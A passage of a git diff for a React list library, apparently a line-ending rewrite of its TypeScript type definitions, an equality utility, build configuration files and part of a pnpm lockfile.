'desc' | (string & {}); + +export type ReactListAttrSettings = Record< + string, + { + visible: boolean; + } +>; + +export type ReactListRequestArgs< + TFilters extends ReactListFilters = ReactListFilters, +> = { + endpoint: string; + version: number; + meta: Record; + page: number; + perPage: number; + search: string; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; +} & Record; + +export type ReactListResponse = { + items: TItem[]; + count: number; + meta?: unknown; + [key: string]: unknown; +}; + +export type ReactListRequestHandler< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = (args: ReactListRequestArgs) => Promise>; + +export type ReactListPersistedState< + TFilters extends ReactListFilters = ReactListFilters, +> = { + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + search?: string; + attrSettings?: ReactListAttrSettings; + filters?: TFilters; +}; + +export type ReactListContext = { + endpoint: string; + version: number; + meta: Record; + search: string; + page: number; + perPage: number; + sortBy: string; + sortOrder: ReactListSortOrder; + filters: TFilters; + attrSettings: ReactListAttrSettings; + isRefresh: boolean; +}; + +export type ReactListStateManager< + TFilters extends ReactListFilters = ReactListFilters, +> = { + init?: (context: ReactListContext) => void; + get?: (context: ReactListContext) => ReactListPersistedState | null; + set?: (context: ReactListContext) => void; +}; + +export type ReactListProviderConfig< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager?: ReactListStateManager; +}; + +export type ReactListPaginationState = { + page: number; + perPage: number; + hasMore: boolean; +}; + +export type ReactListLoaderState = { + isLoading: boolean; + initialLoading: boolean; +}; + +export type ReactListSort = { + sortBy: string; + sortOrder: ReactListSortOrder; +}; + +export type ReactListAttribute = { + name: string; + label?: string; +}; + +export type ReactListActions< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + setPage: (value: number, addContext?: Record) => void; + setPerPage: (value: number) => void; + setSearch: (value: string) => void; + setSort: (args: { by: string; order: ReactListSortOrder }) => void; + loadMore: () => void; + clearFilters: () => void; + refresh: (addContext?: Record) => void; + setFilters: (filters: TFilters) => void; + updateAttr: (attrName: string, settingKey: string, value: unknown) => void; + updateItemById: (item: Partial, id: ReactListItemId) => void; + setSelection: (selection: ReactListItemId[]) => void; +}; + +export type ReactListListState< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + data: TItem[]; + response: ReactListResponse | null; + error: Error | null; + count: number; + selection: ReactListItemId[]; + pagination: ReactListPaginationState; + loader: ReactListLoaderState; + sort: ReactListSort; + hasActiveFilters: boolean; + search: string; + filters: TFilters; + attrs: ReactListAttribute[]; + attrSettings: ReactListAttrSettings; + isEmpty: boolean; + // Actions are appended by the main `ReactList` component. +} & ReactListActions; + +export type ReactListContextValue< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + requestHandler: ReactListRequestHandler; + stateManager: ReactListStateManager; + listState: ReactListListState; + setListState: React.Dispatch>>; +}; + diff --git a/packages/react-list/src/types/react-list.ts b/packages/react-list/src/types/react-list.ts index 4ec6d6c..edf138f 100644 --- a/packages/react-list/src/types/react-list.ts +++ b/packages/react-list/src/types/react-list.ts @@ -1,39 +1,39 @@ -import type { ReactNode } from 'react'; - -import type { - ReactListAttribute, - ReactListFilters, - ReactListItem, - ReactListListState, - ReactListResponse, - ReactListSortOrder, -} from './list-provider'; - -export type ReactListPaginationMode = 'pagination' | 'loadMore'; - -export type ReactListProps< - TItem = ReactListItem, - TFilters extends ReactListFilters = ReactListFilters, -> = { - initialItems?: TItem[]; - children?: - | ReactNode - | ((scope: ReactListListState) => ReactNode); - - endpoint: string; - page?: number; - perPage?: number; - sortBy?: string; - sortOrder?: ReactListSortOrder; - count?: number; - search?: string; - filters?: TFilters; - attrs?: Array; - version?: number; - paginationMode?: ReactListPaginationMode; - meta?: Record; - onResponse?: (res: ReactListResponse) => void; - afterPageChange?: (res: ReactListResponse) => void; - afterLoadMore?: (res: ReactListResponse) => void; -}; - +import type { ReactNode } from 'react'; + +import type { + ReactListAttribute, + ReactListFilters, + ReactListItem, + ReactListListState, + ReactListResponse, + ReactListSortOrder, +} from './list-provider'; + +export type ReactListPaginationMode = 'pagination' | 'loadMore'; + +export type ReactListProps< + TItem = ReactListItem, + TFilters extends ReactListFilters = ReactListFilters, +> = { + initialItems?: TItem[]; + children?: + | ReactNode + | ((scope: ReactListListState) => ReactNode); + + endpoint: string; + page?: number; + perPage?: number; + sortBy?: string; + sortOrder?: ReactListSortOrder; + count?: number; + search?: string; + filters?: TFilters; + attrs?: Array; + version?: number; + paginationMode?: ReactListPaginationMode; + meta?: Record; + onResponse?: (res: ReactListResponse) => void; + afterPageChange?: (res: ReactListResponse) => void; + afterLoadMore?: (res: ReactListResponse) => void; +}; + diff --git a/packages/react-list/src/utils.ts b/packages/react-list/src/utils.ts index 2c0ea50..220eb38 100644 --- a/packages/react-list/src/utils.ts +++ b/packages/react-list/src/utils.ts @@ -1,31 +1,31 @@ -export const isEqual = (a, b) => { - if (a === b) return true - if (a == null || b == null) return false - if (typeof a !== typeof b) return false - - if (typeof a === 'object') { - if (Array.isArray(a) !== Array.isArray(b)) return false - - if (Array.isArray(a)) { - if (a.length !== b.length) return false - for (let i = 0; i < a.length; i++) { - if (!isEqual(a[i], b[i])) return false - } - return true - } - - const keysA = Object.keys(a) - const keysB = Object.keys(b) - - if (keysA.length !== keysB.length) return false - - for (const key of keysA) { - if (!keysB.includes(key)) return false - if (!isEqual(a[key], b[key])) return false - } - - return true - } - - return false +export const isEqual = (a, b) => { + if (a === b) return true + if (a == null || b == null) return false + if (typeof a !== typeof b) return false + + if (typeof a === 'object') { + if (Array.isArray(a) !== Array.isArray(b)) return false + + if (Array.isArray(a)) { + if (a.length !== b.length) return false + for (let i = 0; i < a.length; i++) { + if (!isEqual(a[i], b[i])) return false + } + return true + } + + const keysA = Object.keys(a) + const keysB = Object.keys(b) + + if (keysA.length !== keysB.length) return false + + for (const key of keysA) { + if (!keysB.includes(key)) return false + if (!isEqual(a[key], b[key])) return false + } + + return true + } + + return false } \ No newline at end of file diff --git a/packages/react-list/tsconfig.build.json b/packages/react-list/tsconfig.build.json index b96c8ea..400d46b 100644 --- a/packages/react-list/tsconfig.build.json +++ b/packages/react-list/tsconfig.build.json @@ -1,18 +1,18 @@ -{ - "compilerOptions": { - "target": "ES2022", - "module": "ESNext", - "moduleResolution": "Bundler", - "jsx": "react-jsx", - "allowJs": true, - "checkJs": false, - "declaration": true, - "emitDeclarationOnly": true, - "declarationMap": true, - "outDir": "dist/types", - "strict": false, - "skipLibCheck": true - }, - "include": ["src/**/*"], - "exclude": ["dist", "node_modules"] -} +{ + "compilerOptions": { + "target": "ES2022", + "module": "ESNext", + "moduleResolution": "Bundler", + "jsx": "react-jsx", + "allowJs": true, + "checkJs": false, + "declaration": true, + "emitDeclarationOnly": true, + "declarationMap": true, + "outDir": "dist/types", + "strict": false, + "skipLibCheck": true + }, + "include": ["src/**/*"], + "exclude": ["dist", "node_modules"] +} diff --git a/packages/react-list/tsconfig.json b/packages/react-list/tsconfig.json index 5c29504..45edf9a 100644 --- a/packages/react-list/tsconfig.json +++ b/packages/react-list/tsconfig.json @@ -1,6 +1,6 @@ -{ - "extends": "./tsconfig.build.json", - "compilerOptions": { - "noEmit": true - } -} +{ + "extends": "./tsconfig.build.json", + "compilerOptions": { + "noEmit": true + } +} diff --git a/packages/react-list/vite.config.js b/packages/react-list/vite.config.js index a1037f0..5a9a702 100644 --- a/packages/react-list/vite.config.js +++ b/packages/react-list/vite.config.js @@ -1,25 +1,25 @@ -import { defineConfig } from "vite"; -import react from "@vitejs/plugin-react"; - -// https://vite.dev/config/ -export default defineConfig({ - plugins: [react()], - build: { - rollupOptions: { - external: ["react", "react-dom", "react/jsx-runtime"], - output: { - globals: { - react: "React", - "react-dom": "ReactDOM", - "react/jsx-runtime": "jsxRuntime", - }, - }, - }, - lib: { - entry: "src/index.js", - name: "ReactList", - fileName: "react-list", - formats: ["es", "cjs"], - }, - }, -}); +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; + +// https://vite.dev/config/ +export default defineConfig({ + plugins: [react()], + build: { + rollupOptions: { + external: ["react", "react-dom", "react/jsx-runtime"], + output: { + globals: { + react: "React", + "react-dom": "ReactDOM", + "react/jsx-runtime": "jsxRuntime", + }, + }, + }, + lib: { + entry: "src/index.js", + name: "ReactList", + fileName: "react-list", + formats: ["es", "cjs"], + }, + }, +}); diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index a620d7b..ddb5db6 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -1,3525 +1,3525 @@ -lockfileVersion: '9.0' - -settings: - autoInstallPeers: true - excludeLinksFromLockfile: false - -importers: - - .: {} - - apps/docs: - devDependencies: - vitepress: - specifier: ^2.0.0-alpha.15 - version: 2.0.0-alpha.15(axios@1.11.0)(jiti@2.6.1)(lightningcss@1.32.0)(postcss@8.5.8)(typescript@5.9.3) - - apps/playground: - dependencies: - '@7span/react-list': - specifier: workspace:* - version: link:../../packages/react-list - '@iconify/react': - specifier: ^5.2.1 - version: 5.2.1(react@19.1.0) - axios: - specifier: 1.11.0 - version: 1.11.0 - react: - specifier: ^19.0.0 - version: 19.1.0 - react-dom: - specifier: ^19.0.0 - version: 19.1.0(react@19.1.0) - devDependencies: - '@eslint/js': - specifier: ^9.22.0 - version: 9.25.1 - '@tailwindcss/postcss': - specifier: ^4.2.2 - version: 4.2.2 - '@types/react': - specifier: ^19.0.10 - version: 19.1.2 - '@types/react-dom': - specifier: ^19.0.4 - version: 19.1.2(@types/react@19.1.2) - '@vitejs/plugin-react': - specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - autoprefixer: - specifier: ^10.4.27 - version: 10.4.27(postcss@8.5.8) - eslint: - specifier: ^9.22.0 - version: 9.25.1(jiti@2.6.1) - eslint-plugin-react-hooks: - specifier: ^5.2.0 - version: 5.2.0(eslint@9.25.1(jiti@2.6.1)) - eslint-plugin-react-refresh: - specifier: ^0.4.19 - version: 0.4.20(eslint@9.25.1(jiti@2.6.1)) - globals: - specifier: ^16.0.0 - version: 16.0.0 - postcss: - specifier: ^8.5.8 - version: 8.5.8 - tailwindcss: - specifier: ^4.2.2 - version: 4.2.2 - vite: - specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) - - apps/playground-typescript: - dependencies: - '@7span/react-list': - specifier: workspace:* - version: link:../../packages/react-list - '@iconify/react': - specifier: ^5.2.1 - version: 5.2.1(react@19.1.0) - react: - specifier: ^19.0.0 - version: 19.1.0 - react-dom: - specifier: ^19.0.0 - version: 19.1.0(react@19.1.0) - devDependencies: - '@tailwindcss/postcss': - specifier: ^4.2.2 - version: 4.2.2 - '@types/react': - specifier: ^19.0.10 - version: 19.2.14 - '@types/react-dom': - specifier: ^19.0.4 - version: 19.2.3(@types/react@19.2.14) - '@vitejs/plugin-react': - specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - autoprefixer: - specifier: ^10.4.27 - version: 10.4.27(postcss@8.5.8) - postcss: - specifier: ^8.5.8 - version: 8.5.8 - tailwindcss: - specifier: ^4.2.2 - version: 4.2.2 - typescript: - specifier: ^5.9.3 - version: 5.9.3 - vite: - specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) - - packages/react-list: - dependencies: - react: - specifier: ^18.2.0 || ^19.0.0 - version: 19.1.0 - react-dom: - specifier: ^18.2.0 || ^19.0.0 - version: 19.1.0(react@19.1.0) - devDependencies: - '@types/react': - specifier: ^19.1.13 - version: 19.2.14 - '@types/react-dom': - specifier: ^19.1.9 - version: 19.2.3(@types/react@19.2.14) - '@vitejs/plugin-react': - specifier: ^4.3.4 - version: 4.4.1(vite@6.3.3(jiti@2.6.1)(lightningcss@1.32.0)) - typescript: - specifier: ^5.9.3 - version: 5.9.3 - vite: - specifier: ^6.3.1 - version: 6.3.3(jiti@2.6.1)(lightningcss@1.32.0) - -packages: - - '@alloc/quick-lru@5.2.0': - resolution: {integrity: sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==} - engines: {node: '>=10'} - - '@ampproject/remapping@2.3.0': - resolution: {integrity: sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==} - engines: {node: '>=6.0.0'} - - '@babel/code-frame@7.26.2': - resolution: {integrity: sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==} - engines: {node: '>=6.9.0'} - - '@babel/compat-data@7.26.8': - resolution: {integrity: sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==} - engines: {node: '>=6.9.0'} - - '@babel/core@7.26.10': - resolution: {integrity: sha512-vMqyb7XCDMPvJFFOaT9kxtiRh42GwlZEg1/uIgtZshS5a/8OaduUfCi7kynKgc3Tw/6Uo2D+db9qBttghhmxwQ==} - engines: {node: '>=6.9.0'} - - '@babel/generator@7.27.0': - resolution: {integrity: sha512-VybsKvpiN1gU1sdMZIp7FcqphVVKEwcuj02x73uvcHE0PTihx1nlBcowYWhDwjpoAXRv43+gDzyggGnn1XZhVw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-compilation-targets@7.27.0': - resolution: {integrity: sha512-LVk7fbXml0H2xH34dFzKQ7TDZ2G4/rVTOrq9V+icbbadjbVxxeFeDsNHv2SrZeWoA+6ZiTyWYWtScEIW07EAcA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-imports@7.25.9': - resolution: {integrity: sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-transforms@7.26.0': - resolution: {integrity: sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-plugin-utils@7.26.5': - resolution: {integrity: sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-string-parser@7.25.9': - resolution: {integrity: sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-string-parser@7.27.1': - resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-identifier@7.25.9': - resolution: {integrity: sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-identifier@7.28.5': - resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-option@7.25.9': - resolution: {integrity: sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==} - engines: {node: '>=6.9.0'} - - '@babel/helpers@7.27.0': - resolution: {integrity: sha512-U5eyP/CTFPuNE3qk+WZMxFkp/4zUzdceQlfzf7DdGdhp+Fezd7HD+i8Y24ZuTMKX3wQBld449jijbGq6OdGNQg==} - engines: {node: '>=6.9.0'} - - '@babel/parser@7.27.0': - resolution: {integrity: sha512-iaepho73/2Pz7w2eMS0Q5f83+0RKI7i4xmiYeBmDzfRVbQtTOG7Ts0S4HzJVsTMGI9keU8rNfuZr8DKfSt7Yyg==} - engines: {node: '>=6.0.0'} - hasBin: true - - '@babel/parser@7.28.5': - resolution: {integrity: sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==} - engines: {node: '>=6.0.0'} - hasBin: true - - '@babel/plugin-transform-react-jsx-self@7.25.9': - resolution: {integrity: sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-react-jsx-source@7.25.9': - resolution: {integrity: sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/template@7.27.0': - resolution: {integrity: sha512-2ncevenBqXI6qRMukPlXwHKHchC7RyMuu4xv5JBXRfOGVcTy1mXCD12qrp7Jsoxll1EV3+9sE4GugBVRjT2jFA==} - engines: {node: '>=6.9.0'} - - '@babel/traverse@7.27.0': - resolution: {integrity: sha512-19lYZFzYVQkkHkl4Cy4WrAVcqBkgvV2YM2TU3xG6DIwO7O3ecbDPfW3yM3bjAGcqcQHi+CCtjMR3dIEHxsd6bA==} - engines: {node: '>=6.9.0'} - - '@babel/types@7.27.0': - resolution: {integrity: sha512-H45s8fVLYjbhFH62dIJ3WtmJ6RSPt/3DRO0ZcT2SUiYiQyz3BLVb9ADEnLl91m74aQPS3AzzeajZHYOalWe3bg==} - engines: {node: '>=6.9.0'} - - '@babel/types@7.28.5': - resolution: {integrity: sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==} - engines: {node: '>=6.9.0'} - - '@docsearch/css@4.3.2': - resolution: {integrity: sha512-K3Yhay9MgkBjJJ0WEL5MxnACModX9xuNt3UlQQkDEDZJZ0+aeWKtOkxHNndMRkMBnHdYvQjxkm6mdlneOtU1IQ==} - - '@docsearch/js@4.3.2': - resolution: {integrity: sha512-xdfpPXMgKRY9EW7U1vtY7gLKbLZFa9ed+t0Dacquq8zXBqAlH9HlUf0h4Mhxm0xatsVeMaIR2wr/u6g0GsZyQw==} - - '@esbuild/aix-ppc64@0.25.3': - resolution: {integrity: sha512-W8bFfPA8DowP8l//sxjJLSLkD8iEjMc7cBVyP+u4cEv9sM7mdUCkgsj+t0n/BWPFtv7WWCN5Yzj0N6FJNUUqBQ==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [aix] - - '@esbuild/android-arm64@0.25.3': - resolution: {integrity: sha512-XelR6MzjlZuBM4f5z2IQHK6LkK34Cvv6Rj2EntER3lwCBFdg6h2lKbtRjpTTsdEjD/WSe1q8UyPBXP1x3i/wYQ==} - engines: {node: '>=18'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm@0.25.3': - resolution: {integrity: sha512-PuwVXbnP87Tcff5I9ngV0lmiSu40xw1At6i3GsU77U7cjDDB4s0X2cyFuBiDa1SBk9DnvWwnGvVaGBqoFWPb7A==} - engines: {node: '>=18'} - cpu: [arm] - os: [android] - - '@esbuild/android-x64@0.25.3': - resolution: {integrity: sha512-ogtTpYHT/g1GWS/zKM0cc/tIebFjm1F9Aw1boQ2Y0eUQ+J89d0jFY//s9ei9jVIlkYi8AfOjiixcLJSGNSOAdQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [android] - - '@esbuild/darwin-arm64@0.25.3': - resolution: {integrity: sha512-eESK5yfPNTqpAmDfFWNsOhmIOaQA59tAcF/EfYvo5/QWQCzXn5iUSOnqt3ra3UdzBv073ykTtmeLJZGt3HhA+w==} - engines: {node: '>=18'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-x64@0.25.3': - resolution: {integrity: sha512-Kd8glo7sIZtwOLcPbW0yLpKmBNWMANZhrC1r6K++uDR2zyzb6AeOYtI6udbtabmQpFaxJ8uduXMAo1gs5ozz8A==} - engines: {node: '>=18'} - cpu: [x64] - os: [darwin] - - '@esbuild/freebsd-arm64@0.25.3': - resolution: {integrity: sha512-EJiyS70BYybOBpJth3M0KLOus0n+RRMKTYzhYhFeMwp7e/RaajXvP+BWlmEXNk6uk+KAu46j/kaQzr6au+JcIw==} - engines: {node: '>=18'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.25.3': - resolution: {integrity: sha512-Q+wSjaLpGxYf7zC0kL0nDlhsfuFkoN+EXrx2KSB33RhinWzejOd6AvgmP5JbkgXKmjhmpfgKZq24pneodYqE8Q==} - engines: {node: '>=18'} - cpu: [x64] - os: [freebsd] - - '@esbuild/linux-arm64@0.25.3': - resolution: {integrity: sha512-xCUgnNYhRD5bb1C1nqrDV1PfkwgbswTTBRbAd8aH5PhYzikdf/ddtsYyMXFfGSsb/6t6QaPSzxtbfAZr9uox4A==} - engines: {node: '>=18'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm@0.25.3': - resolution: {integrity: sha512-dUOVmAUzuHy2ZOKIHIKHCm58HKzFqd+puLaS424h6I85GlSDRZIA5ycBixb3mFgM0Jdh+ZOSB6KptX30DD8YOQ==} - engines: {node: '>=18'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-ia32@0.25.3': - resolution: {integrity: sha512-yplPOpczHOO4jTYKmuYuANI3WhvIPSVANGcNUeMlxH4twz/TeXuzEP41tGKNGWJjuMhotpGabeFYGAOU2ummBw==} - engines: {node: '>=18'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-loong64@0.25.3': - resolution: {integrity: sha512-P4BLP5/fjyihmXCELRGrLd793q/lBtKMQl8ARGpDxgzgIKJDRJ/u4r1A/HgpBpKpKZelGct2PGI4T+axcedf6g==} - engines: {node: '>=18'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-mips64el@0.25.3': - resolution: {integrity: sha512-eRAOV2ODpu6P5divMEMa26RRqb2yUoYsuQQOuFUexUoQndm4MdpXXDBbUoKIc0iPa4aCO7gIhtnYomkn2x+bag==} - engines: {node: '>=18'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-ppc64@0.25.3': - resolution: {integrity: sha512-ZC4jV2p7VbzTlnl8nZKLcBkfzIf4Yad1SJM4ZMKYnJqZFD4rTI+pBG65u8ev4jk3/MPwY9DvGn50wi3uhdaghg==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-riscv64@0.25.3': - resolution: {integrity: sha512-LDDODcFzNtECTrUUbVCs6j9/bDVqy7DDRsuIXJg6so+mFksgwG7ZVnTruYi5V+z3eE5y+BJZw7VvUadkbfg7QA==} - engines: {node: '>=18'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-s390x@0.25.3': - resolution: {integrity: sha512-s+w/NOY2k0yC2p9SLen+ymflgcpRkvwwa02fqmAwhBRI3SC12uiS10edHHXlVWwfAagYSY5UpmT/zISXPMW3tQ==} - engines: {node: '>=18'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-x64@0.25.3': - resolution: {integrity: sha512-nQHDz4pXjSDC6UfOE1Fw9Q8d6GCAd9KdvMZpfVGWSJztYCarRgSDfOVBY5xwhQXseiyxapkiSJi/5/ja8mRFFA==} - engines: {node: '>=18'} - cpu: [x64] - os: [linux] - - '@esbuild/netbsd-arm64@0.25.3': - resolution: {integrity: sha512-1QaLtOWq0mzK6tzzp0jRN3eccmN3hezey7mhLnzC6oNlJoUJz4nym5ZD7mDnS/LZQgkrhEbEiTn515lPeLpgWA==} - engines: {node: '>=18'} - cpu: [arm64] - os: [netbsd] - - '@esbuild/netbsd-x64@0.25.3': - resolution: {integrity: sha512-i5Hm68HXHdgv8wkrt+10Bc50zM0/eonPb/a/OFVfB6Qvpiirco5gBA5bz7S2SHuU+Y4LWn/zehzNX14Sp4r27g==} - engines: {node: '>=18'} - cpu: [x64] - os: [netbsd] - - '@esbuild/openbsd-arm64@0.25.3': - resolution: {integrity: sha512-zGAVApJEYTbOC6H/3QBr2mq3upG/LBEXr85/pTtKiv2IXcgKV0RT0QA/hSXZqSvLEpXeIxah7LczB4lkiYhTAQ==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openbsd] - - '@esbuild/openbsd-x64@0.25.3': - resolution: {integrity: sha512-fpqctI45NnCIDKBH5AXQBsD0NDPbEFczK98hk/aa6HJxbl+UtLkJV2+Bvy5hLSLk3LHmqt0NTkKNso1A9y1a4w==} - engines: {node: '>=18'} - cpu: [x64] - os: [openbsd] - - '@esbuild/sunos-x64@0.25.3': - resolution: {integrity: sha512-ROJhm7d8bk9dMCUZjkS8fgzsPAZEjtRJqCAmVgB0gMrvG7hfmPmz9k1rwO4jSiblFjYmNvbECL9uhaPzONMfgA==} - engines: {node: '>=18'} - cpu: [x64] - os: [sunos] - - '@esbuild/win32-arm64@0.25.3': - resolution: {integrity: sha512-YWcow8peiHpNBiIXHwaswPnAXLsLVygFwCB3A7Bh5jRkIBFWHGmNQ48AlX4xDvQNoMZlPYzjVOQDYEzWCqufMQ==} - engines: {node: '>=18'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-ia32@0.25.3': - resolution: {integrity: sha512-qspTZOIGoXVS4DpNqUYUs9UxVb04khS1Degaw/MnfMe7goQ3lTfQ13Vw4qY/Nj0979BGvMRpAYbs/BAxEvU8ew==} - engines: {node: '>=18'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-x64@0.25.3': - resolution: {integrity: sha512-ICgUR+kPimx0vvRzf+N/7L7tVSQeE3BYY+NhHRHXS1kBuPO7z2+7ea2HbhDyZdTephgvNvKrlDDKUexuCVBVvg==} - engines: {node: '>=18'} - cpu: [x64] - os: [win32] - - '@eslint-community/eslint-utils@4.6.1': - resolution: {integrity: sha512-KTsJMmobmbrFLe3LDh0PC2FXpcSYJt/MLjlkh/9LEnmKYLSYmT/0EW9JWANjeoemiuZrmogti0tW5Ch+qNUYDw==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - peerDependencies: - eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 - - '@eslint-community/regexpp@4.12.1': - resolution: {integrity: sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==} - engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} - - '@eslint/config-array@0.20.0': - resolution: {integrity: sha512-fxlS1kkIjx8+vy2SjuCB94q3htSNrufYTXubwiBFeaQHbH6Ipi43gFJq2zCMt6PHhImH3Xmr0NksKDvchWlpQQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/config-helpers@0.2.1': - resolution: {integrity: sha512-RI17tsD2frtDu/3dmI7QRrD4bedNKPM08ziRYaC5AhkGrzIAJelm9kJU1TznK+apx6V+cqRz8tfpEeG3oIyjxw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/core@0.13.0': - resolution: {integrity: sha512-yfkgDw1KR66rkT5A8ci4irzDysN7FRpq3ttJolR88OqQikAWqwA8j5VZyas+vjyBNFIJ7MfybJ9plMILI2UrCw==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/eslintrc@3.3.1': - resolution: {integrity: sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/js@9.25.1': - resolution: {integrity: sha512-dEIwmjntEx8u3Uvv+kr3PDeeArL8Hw07H9kyYxCjnM9pBjfEhk6uLXSchxxzgiwtRhhzVzqmUSDFBOi1TuZ7qg==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/object-schema@2.1.6': - resolution: {integrity: sha512-RBMg5FRL0I0gs51M/guSAj5/e14VQ4tpZnQNWwuDT66P14I43ItmPfIZRhO9fUVIPOAQXU47atlywZ/czoqFPA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@eslint/plugin-kit@0.2.8': - resolution: {integrity: sha512-ZAoA40rNMPwSm+AeHpCq8STiNAwzWLJuP8Xv4CHIc9wv/PSuExjMrmjfYNj682vW0OOiZ1HKxzvjQr9XZIisQA==} - engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} - - '@humanfs/core@0.19.1': - resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==} - engines: {node: '>=18.18.0'} - - '@humanfs/node@0.16.6': - resolution: {integrity: 